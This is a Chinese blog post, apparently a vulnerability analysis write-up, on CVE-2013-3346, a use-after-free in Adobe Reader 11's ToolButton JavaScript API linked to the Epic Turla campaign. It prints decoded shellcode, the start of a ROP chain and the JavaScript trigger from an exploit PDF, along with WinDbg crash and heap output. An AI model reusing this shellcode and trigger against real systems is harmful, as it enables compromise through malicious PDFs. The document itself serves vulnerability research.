前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >CVE-2013-3346-Adobe Reader ToolButton 释放重引用漏洞

CVE-2013-3346-Adobe Reader ToolButton 释放重引用漏洞

作者头像
用户1423082
发布于 2024-12-31 10:31:19
发布于 2024-12-31 10:31:19
12000
代码可运行
举报
文章被收录于专栏:giantbranch's bloggiantbranch's blog
运行总次数:0
代码可运行

前言

这是一个用于”Epic Turla”网络间谍攻击行动中的一个漏洞,PDF的漏洞

漏洞分析

环境

win7 sp1 32位 windbg ida peepdf adobe reader 11.0.00

ftp://ftp.adobe.com/pub/adobe/reader/win/11.x/11.0.00/zh_CN/AdbeRdr11000_zh_CN.exe

安装peepdf

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
pip install peepdf

-i开启交互模式

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
peepdf -i ./msf.pdf

结果并不是很好使

我们直接复制下面 Q=开始的东西到一个文件里面

之后即可解密

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
PPDF> js_jjdecode file jjencode.txt

var shellcode = unescape("%u00E8%u0000%u5D00%uED83%uE905%u008B%u0000%u5052%uD231%uC031%uF980%u7501%u6604%uEBAD%uAC01%u003C%u0D74%u613C%u0272%u202C%uCAC1%u010D%uEBC2%u39E3%u58DA%uC35A%u8956%uB2DA%u313C%u66C0%u028B%uD801%u508B%u0178%u52DA%u8B51%u184A%u428B%u0120%u8BD8%u0138%u53DF%u1E8B%uF787%u3151%uE8C9%uFFAE%uFFFF%u5B59%uF787%u0275%u08EB%uC083%u4904%u22E3%uDFEB%u428B%u2918%u89C8%u8BC1%u2442%uD801%u8B66%u480C%u428B%u011C%uC1D8%u02E1%uC801%u008B%uD801%u0689%u5A59%uC683%uE204%u5EAE%u31C3%u64D2%u528B%u8B30%u0C52%u528B%uB114%u8B01%u2872%u17BB%u2BCA%uE86E%uFF5A%uFFFF%u5A8B%u8B10%u7512%u31EC%uB1C9%u680E%uFA7C%u1596%uE668%u785C%u680F%u937D%uBDFA%u2068%uEA96%u6895%uBE1B%u1A09%uDA68%u7A8B%u68AE%u6CEF%uE688%u6868%u88F6%u680D%u4676%u8A8B%uCA68%u2A6A%u6895%u0B95%u1A7F%u4568%u9E3C%u6857%uBE1C%u302E%u4E68%uDFCC%u8912%uE8E6%uFF28%uFFFF%uBD8D%u040E%u0000%u0C6A%u8059%uC837%uE247%u6AFA%u686C%u746E%u6C64%uFF54%u1456%uF883%u0F00%uD484%u0001%u5600%uC931%u8941%u68C3%uFD91%u5947%uE689%uF3E8%uFFFE%u6AFF%u8901%u68E7%u2000%u0000%uE189%u406A%u0068%u1030%u5100%u006A%u6A57%uFFFF%u5916%u5E59%u835E%u00F8%u850F%u019B%u0000%u90B0%u89FC%uB9CF%u0EF5%u0000%uAAF3%uB956%u010B%u0000%uB58D%u0303%u0000%uA4F3%uFF5E%u1056%u0789%u858D%u040E%u0000%u006A%u006A%u036A%u006A%u006A%u006A%uFF50%u0C56%uF883%u0F00%u5C84%u0001%u8900%u6AC7%u6804%u1000%u0000%u0068%u0004%u6A00%uFF00%u0456%uF883%u0F00%u4084%u0001%uC700%u1440%u0125%u0703%u40C7%uAD1C%u0000%uC700%u2C40%u0020%u0000%u40C7%u0430%u0000%uC700%u3840%uBEEF%uDEAD%u006A%uE289%u006A%u6852%u0080%u0000%u6850%u0400%u0000%u6850%u23C8%u8FFF%uFF57%u0856%uDB31%u5255%uE789%u8352%u04C3%uC031%u5050%u5350%u56FF%u8334%uFFF8%uEF74%uC031%u5350%u56FF%u832C%uFFF8%uE374%u003D%u0010%u7C00%u89DC%u89C5%u31E0%u51C9%u6A50%u5704%uFF53%u3056%u3F81%u5025%u4644%uC575%uC483%u8908%u5DEF%uEF83%u6A04%u6804%u1000%u0000%u6A57%uFF00%u0456%uC931%u5150%u5754%u5350%u56FF%u5830%uF989%uD231%uFA80%u7401%u8111%uF238%u0909%u750A%u831E%u04C0%uC2FE%u8950%u57FB%u5256%u8950%u89C6%u29DA%u89FA%uF6D0%u28E2%u8006%uF336%u5A58%u405E%uE24F%u5FD1%u8158%uC8EC%u0000%u8900%u83E3%u0CEC%u5350%uC868%u0000%uFF00%u2456%u438D%u31FC%u89C9%u5308%u5051%uFF53%u2856%u43C7%u2FFC%u2063%uC720%uF843%u6D63%u2064%u8958%u31C5%u51C9%u6A51%u5102%u6851%u0000%u4000%uFF53%u0C56%uEB83%u5308%uC389%uC931%u8951%u51E0%u5750%u5355%u56FF%u531C%u56FF%u5820%u315B%u6AC0%u5300%u56FF%uFF18%u6016%u00E8%u0000%u5B00%uEB83%u8B06%u004D%u498B%u8104%u00E1%uFFF0%u66FF%u3981%u5A4D%u840F%u0093%u0000%uE981%u1000%u0000%uEDEB%u5052%uD231%uC031%uF980%u7501%u6604%uEBAD%uAC01%u003C%u0D74%u613C%u0272%u202C%uCAC1%u010D%uEBC2%u39E3%u58DA%uC35A%u8956%uB2DA%u313C%u66C0%u028B%uD801%u508B%u0178%u52DA%u8B51%u184A%u428B%u0120%u8BD8%u0138%u53DF%u1E8B%uF787%u3151%uE8C9%uFFAE%uFFFF%u5B59%uF787%u0275%u08EB%uC083%u4904%u22E3%uDFEB%u428B%u2918%u89C8%u8BC1%u2442%uD801%u8B66%u480C%u428B%u011C%uC1D8%u02E1%uC801%u008B%uD801%u0689%u5A59%uC683%uE204%u5EAE%u89C3%u89DD%u31CB%u41C9%u7468%uACC9%u894A%uE8E6%uFF88%uFFFF%u006A%uE789%u8B57%u0B85%u0001%u5000%u16FF%u835F%u00F8%u2675%u006A%uE089%u6A50%uFF04%u5E16%uF883%u7500%u8117%uC8C6%u0000%u8100%uC8C7%u0000%u8B00%u8906%uC707%u6C47%u0000%u0000%u6158%u01B8%u0001%uC200%u0004%u9494%u94E6%u8C86%uBA98%uB0A7%uC8B1");
var executable = "";
var rop9 = "";
rop9 += unescape("%u313d%u4a82");
rop9 += unescape("%ua713%u4a82");
rop9 += unescape("%u1f90%u4a80");
rop9 += unescape("%u9038%u4a84");
rop9 += unescape("%u7e7d%u4a80");
rop9 += unescape("%uffff%uffff");
......
......
......
......
省略

那我们分析js,基本也能分析出个东西,除了对喷射,主要的代码就几条

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
app.addToolButton({
        cName: "evil",
        cExec: "1",
        cEnable: "addButtonFunc();"
});    // 创建evil Button并设置回调函数addButtonFunc

addButtonFunc = function() {
        app.addToolButton({cName: "xxx", cExec: "1", cEnable: "removeButtonFunc();"});
}  // 创建子Buton xxx,设置了回调函数removeButtonFunc

removeButtonFunc = function() {
        app.removeToolButton({cName: "evil"});   // 删除父对象,由于子对象还有父对象的引用,导致的uaf

        for (i=0;i < 10;i++)
                arr[i] = part1.concat(part2);
}

调试

我们调试看看,打开的时候最好把保护模式关掉(第一次开启的时候应该会问你),不然我也不知道行不行

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
(95c.eb0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0c0c08a8 ebx=00000001 ecx=0891fe18 edx=000011c4 esi=0891fe18 edi=00000000
eip=4a82f129 esp=0023e51c ebp=0023e540 iopl=0         nv up ei pl nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210213
4a82f129 ??              ???
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Adobe\Reader 11.0\Reader\AcroRd32.dll - 
0:000> kv
ChildEBP RetAddr  Args to Child              
WARNING: Frame IP not in any known module. Following frames may be wrong.
0023e518 6219e85d bb5ba807 00000001 0891fe18 0x4a82f129
0023e540 6219e0d2 00000000 0891fe18 00000000 AcroRd32!DllCanUnloadNow+0x150536
0023e564 6219f3e3 0023e5b8 6219d996 6219f409 AcroRd32!DllCanUnloadNow+0x14fdab
0023e56c 6219d996 6219f409 08706f18 bb5ba8ff AcroRd32!DllCanUnloadNow+0x1510bc
0023e5b8 6219c68c 00000000 bb5ba8af 08706f18 AcroRd32!DllCanUnloadNow+0x14f66f
0023e5e8 6219c50e 086fabb8 04d6b090 bb5bab3f AcroRd32!DllCanUnloadNow+0x14e365
0023e678 6219c206 08706f18 09729c48 0023e694 AcroRd32!DllCanUnloadNow+0x14e1e7
0023e688 6219c1a1 08706f18 0023e6c0 620f712e AcroRd32!DllCanUnloadNow+0x14dedf
0023e694 620f712e 08706f18 04d6b090 bb5bab87 AcroRd32!DllCanUnloadNow+0x14de7a
0023e6c0 6219ae0e 62b4cfb8 ffffffff 09729c30 AcroRd32!DllCanUnloadNow+0xa8e07
0023e6f0 62196d1d 00000001 0023e6c8 6219c193 AcroRd32!DllCanUnloadNow+0x14cae7
0023e714 62196bf1 000006c4 04d6b090 096ea780 AcroRd32!DllCanUnloadNow+0x1489f6
0023e72c 6219434c 04d6b090 bb5baa83 00000000 AcroRd32!DllCanUnloadNow+0x1488ca
0023e7c4 6204e440 00000000 04d6b090 00000000 AcroRd32!DllCanUnloadNow+0x146025
0023e7f0 62193a64 bb5ba55f 000006c4 086fabb8 AcroRd32!DllCanUnloadNow+0x119
0023e818 625f38ef 087dbde8 00000000 086fabb8 AcroRd32!DllCanUnloadNow+0x14573d
0023e894 625f3b7c 04e51dd0 00000001 086a2588 AcroRd32!CTJPEGRotateOptions::operator=+0xff7d3

我们看看前面调用的是什么,可以看劫持控制流的eax来源于esi

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
0:000> ub 6219e85d 
AcroRd32!DllCanUnloadNow+0x150518:
6219e83f 897dfc          mov     dword ptr [ebp-4],edi
6219e842 ff96d0020000    call    dword ptr [esi+2D0h]
6219e848 0fb7d8          movzx   ebx,ax
6219e84b 8b06            mov     eax,dword ptr [esi]
6219e84d 59              pop     ecx
6219e84e 8bce            mov     ecx,esi
6219e850 66899ecc020000  mov     word ptr [esi+2CCh],bx
6219e857 ff9064030000    call    dword ptr [eax+364h]

我们看看esi,这里由于堆喷已经占位了,所以是busy,这里也可以看到大小是0x370

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
0:000> !heap -p -a esi
    address 0891fe18 found in
    _HEAP @ 2570000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        0891fe10 0071 0000  [00]   0891fe18    00370 - (busy)

 
0:000> dd esi
0891fe18  0c0c08a8 41414141 41414141 41414141
0891fe28  41414141 41414141 41414141 41414141
0891fe38  41414141 41414141 41414141 41414141
0891fe48  41414141 41414141 41414141 41414141
0891fe58  41414141 41414141 41414141 41414141
0891fe68  41414141 41414141 41414141 41414141
0891fe78  41414141 41414141 41414141 41414141
0891fe88  41414141 41414141 41414141 41414141

懒得找纯正的poc了,不然更能精准看到是uaf

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2018-05-29,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
CVE-2010-2883 Adobe Reader TTF 字体SING表栈溢出漏洞
这么老的一个洞,在看雪搜文章的时候发现火绒发了篇文章,竟然现在还有利用这个洞的病毒
yichen
2020/12/29
7200
细说CVE-2010-2883从原理分析到样本构造
可能是各位大佬都比较忙的缘故,在学习了网上各种前辈们的漏洞报告之后,总感觉叙述的不够详细,小白理解起来较为困难。因此秉承着前人栽树后人浇水的原则,我也想尝试写一篇个人认为较为详细的漏洞分析,但由于水平有限不足之处请谅解。并借此记录下近日的学习成果。望各位不吝赐教!
FB客服
2019/06/18
1.3K0
细说CVE-2010-2883从原理分析到样本构造
2018 年 ie 漏洞复现合集
对 2018 年几个IE漏洞的复现与说明,之前复现的时候在仓库的文档中简单的说明了一下,以下是这几个漏洞的复现报告与一些基本的利用方法,这些漏洞或多或少都出现在 APT 攻击中,特别是 CVE-2018-8174 又称"双杀"漏洞而 8373 又被 Darkhotel 组织利用
信安之路
2019/03/18
2K0
2018 年 ie 漏洞复现合集
Internet Explorer漏洞分析系列(一)——CVE-2012-1876
1.本文一共3960个字 30张图 预计阅读时间12分钟2.本文作者erfze 属于Gcow安全团队复眼小组 未经过许可禁止转载3.本篇文章从CVE-2012-1876漏洞的分析入手 详细的阐述漏洞的成因以及如何去利用该漏洞4.本篇文章十分适合漏洞安全研究人员进行交流学习5.若文章中存在说得不清楚或者错误的地方 欢迎师傅到公众号后台留言中指出 感激不尽
Gcow安全团队
2021/03/04
1.2K0
CVE-2018-8174双杀漏洞分析复现及防御
CVE-2018-8174漏洞是360追日安全团队于4份捕获到的,并将其命名为“双杀”漏洞,意指在IE浏览器以及office均可以引发的漏洞。
FB客服
2020/02/20
1.3K0
CVE-2018-8174双杀漏洞分析复现及防御
MS12-043是个啥?走,咱来波漏洞分析!
Microsoft XML Core Services (MSXML)是一组服务,可用JScript、VBScript、Microsoft开发工具编写的应用构建基于XML的Windows-native应用。
极安御信安全研究院
2022/05/10
5620
MS12-043是个啥?走,咱来波漏洞分析!
漏洞分析丨cve-2012-0003
这次漏洞属于堆溢出漏洞,他是MIDI文件中存在的堆溢出漏洞。在IE6,IE7,IE8中都存在这个漏洞。而这个漏洞是Winmm.dll中产生的。
极安御信安全研究院
2023/03/09
3120
漏洞分析丨cve-2012-0003
Internet Explorer漏洞分析(四)——CVE-2012-4792
3.本篇文章是CVE-2012-4792漏洞的分析入手 详细的阐述漏洞的成因以及如何去利用该漏洞
Gcow安全团队
2021/04/26
7720
暴雷漏洞
暴雷漏洞编号为cve-2012-1889,在2012年曝光的一种微软的XML核心组件漏洞,该漏洞属于缓冲区溢出,根据栈溢出可以控制EIP的位置。该漏洞产生于msxml3.dll模块中,msxml3.dll是微软的一个SAX2 帮助程序类。主要用途包括:XSL 转换 (XSLT) 和 XML 路径语言 (XPath) 的完全实现、对 XML (SAX2) 实现的简单 API 的修改,包括与万维网联合会 (W3C) 标准和 OASIS 测试套件保持更高一致性。影响版本IE6和IE8。
极安御信安全研究院
2023/04/05
2320
暴雷漏洞
安全测试笔记《十七》——漏洞分析方法解析
功能各异的中小型软件数量飞速增长,为我们的工作和生活提供了方便。然而应用软件频繁爆出漏洞,被黑客利用,越来越多的用户遭到攻击。因此,网络安全漏洞已经成为当今互联网的一个焦点。本文结合H3C攻防研究团队在攻防研究过程中的经验和体会,阐述漏洞分析的常用方法。
顾翔
2022/09/23
2.4K0
安全测试笔记《十七》——漏洞分析方法解析
CVE-2010-3974-Microsoft Windows 传真封面编辑器双重释放漏洞
其实上面可以看DeleteContents,Remove这个函数,应该是跟释放相关
用户1423082
2024/12/31
1060
CVE-2010-3974-Microsoft Windows 传真封面编辑器双重释放漏洞
windbg时间穿梭——利用Time Travel Debugging更方便地调试漏洞
下面使用windbg是新版的windbg,叫windbg preview,需要在微软商店(Microsoft Store)中下载安装
用户1423082
2024/12/31
2320
windbg时间穿梭——利用Time Travel Debugging更方便地调试漏洞
分析某旺的ActiveX控件ImageMan.dll栈溢出漏洞
阿里旺旺的ActiveX控件ImageMan.dll动态链接库中有一个函数AutoPic,由于未对传入的参数长度进行校验导致栈溢出,在拷贝缓冲区数据时会读取到不可用地址,从而使程序进入SEH异常处理流程,通过计算好缓冲区到SEH异常处理结构的位置用指定长度的字符串精确覆盖SEH指针从而控制程序执行流程达到执行任意代码的效果。
迅达集团
2019/07/01
1.1K0
CVE-2013-2551-Microsoft Internet Explorer COALineDashStyleArray 整数溢出漏洞
Pwn2Own 2013的漏洞,发过安全团队VUPEN他们是攻击win8的ie10,利用rop和模块基址泄露实现任意代码执行
用户1423082
2024/12/31
760
CVE-2013-2551-Microsoft Internet Explorer COALineDashStyleArray 整数溢出漏洞
CVE-2018-8174 EXP 0day python
usage: CVE-2018-8174.py [-h] -u URL -o OUTPUT [-i IP] [-p PORT]
伍尚国
2018/09/11
1.8K0
CVE-2013-1347-Microsoft IE CGenericElement 释放重引用漏洞
好久没分析漏洞了,《漏洞战争》这本书也停滞了很久了,最近没给自己什么任务,那就分析分析吧,虽然这个看着比较长,看看能不能简便一点。
用户1423082
2024/12/31
870
CVE-2011-0065-Firefox 3.6.16 mChannel 释放重引用漏洞
只能看源码(https://hg.mozilla.org/releases/mozilla-1.9.2/rev/c24f21581d77)
用户1423082
2024/12/31
840
CVE-2015-0313 Adobe Flash Player Workers ByteArray 释放重引用漏洞
http://download.macromedia.com/pub/flashplayer/installers/archive/fp_16.0.0.296_archive.zip
用户1423082
2024/12/31
660
CVE-2015-0313 Adobe Flash Player Workers ByteArray 释放重引用漏洞
Adobe Reader 缓冲区溢出漏洞 (CVE-2010-2883)漏洞分析报告
Adobe Reader(也被称为Acrobat Reader)是美国Adobe公司开发的一款优秀的PDF文件阅读软件。文档的撰写者可以向任何人分发自己制作(通过Adobe Acrobat制作)的PDF文档而不用担心被恶意篡改。
极安御信安全研究院
2022/01/20
5580
Adobe Reader 缓冲区溢出漏洞 (CVE-2010-2883)漏洞分析报告
软件漏洞分析技巧分享
作者:riusksk【TSRC】 在日常分析软件漏洞时,经常需要耗费比较长的分析时间,少则几小时,多则数天,甚至更久。因此,经常总结一些分析技巧是非常有必要的,针对不同的漏洞类型采取不同的分析思路和技巧,可以有效地提高分析速度。对于一些被曝出来的热门0day,网上一般都会有分析文章,但一般都是“结论性分析”,也就是直接帖漏洞代码,指出哪里出错,而非“思路性分析”。如果你经常分析漏洞的话,会发现占用你分析时间的往往不是分析漏洞代码,而是定位漏洞代码。所以说,调试分析漏洞有时就是看下断点下得准不,再加上一些胡猜
FB客服
2018/02/02
1.4K0
软件漏洞分析技巧分享
推荐阅读
相关推荐
CVE-2010-2883 Adobe Reader TTF 字体SING表栈溢出漏洞
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验